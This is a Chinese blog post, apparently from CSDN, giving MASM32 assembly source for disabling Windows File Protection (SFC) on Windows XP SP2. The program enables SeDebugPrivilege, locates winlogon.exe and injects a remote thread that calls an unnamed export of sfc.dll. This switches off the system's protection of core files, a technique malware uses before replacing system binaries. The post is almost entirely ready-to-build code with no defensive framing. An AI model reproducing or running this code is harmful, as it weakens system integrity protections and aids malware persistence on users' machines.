关闭SFC[文件保护]的源代码

最新推荐文章于 2020-10-20 11:15:44 发布

iiprogram

最新推荐文章于 2020-10-20 11:15:44 发布

阅读量2.2k

点赞数

分类专栏： windows底层核心編程文章标签： include token thread query 测试

本文链接：https://blog.csdn.net/iiprogram/article/details/626655

版权

windows底层核心編程专栏收录该内容

743 篇文章 19 订阅

订阅专栏

WindowsXP Professional SP2测试通过.

.386
.Model Flat,StdCall
Option CaseMap :None

Include /Masm32/Include/Windows.inc
Include /Masm32/Include/User32.inc
Include /Masm32/Include/Shell32.inc
Include /Masm32/Include/Kernel32.inc
Include /Masm32/Include/Advapi32.inc

IncludeLib /Masm32/Lib/User32.lib
IncludeLib /Masm32/Lib/Shell32.lib
IncludeLib /Masm32/Lib/Kernel32.lib
IncludeLib /Masm32/Lib/Advapi32.lib

.Data
stProcess db "winlogon.exe",0

.Data?
hFile dd ?
dwProcessID dd ?
hProcess dd ?
lpLoadLibrary dd ?
lpDllName dd ?
szDllPath db 260 dup(?)
szSysPath db 260 dup(?)
hToken dd ?
tkp TOKEN_PRIVILEGES<>
sdnv LUID <>

.Code
EnableDebugPriv Proc
invoke GetCurrentProcess
invoke OpenProcessToken,eax,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,addr hToken
invoke LookupPrivilegeValue,0,CTEXT("SeDebugPrivilege"),addr sdnv
mov tkp.PrivilegeCount,1
m2m tkp.Privileges.Luid.LowPart,sdnv.LowPart
m2m tkp.Privileges.Luid.HighPart,sdnv.HighPart
mov tkp.Privileges.Attributes,SE_PRIVILEGE_ENABLED
invoke AdjustTokenPrivileges,hToken,FALSE,addr tkp,sizeof tkp,0,0
invoke CloseHandle,hToken
ret
EnableDebugPriv EndP

CloseSFC Proc
Local @stProcess:PROCESSENTRY32
Local @hSnapShot
Local @hProcess
Local @hSfc

invoke RtlZeroMemory,addr @stProcess,sizeof @stProcess
mov @stProcess.dwSize,sizeof @stProcess
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
mov @hSnapShot,eax
invoke Process32First,@hSnapShot,addr @stProcess
.While eax
invoke lstrcmpi,addr @stProcess.szExeFile,addr stProcess
.if eax == 0
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,FALSE,@stProcess.th32ProcessID
.if eax
mov @hProcess,eax
invoke LoadLibrary,CTEXT("sfc.dll")
mov @hSfc,eax
invoke GetProcAddress,eax,2
push eax
invoke FreeLibrary,@hSfc
pop eax
.if eax
invoke CreateRemoteThread,@hProcess,0,0,eax,0,0,0
.if eax
invoke CloseHandle,eax
ret
.endif
.endif
.endif
.endif
invoke Process32Next,@hSnapShot,addr @stProcess
.EndW
invoke CloseHandle,@hSnapShot
ret

CloseSFC EndP

Start:
Call EnableDebugPriv
Call CloseSFC
invoke ExitProcess,0
End Start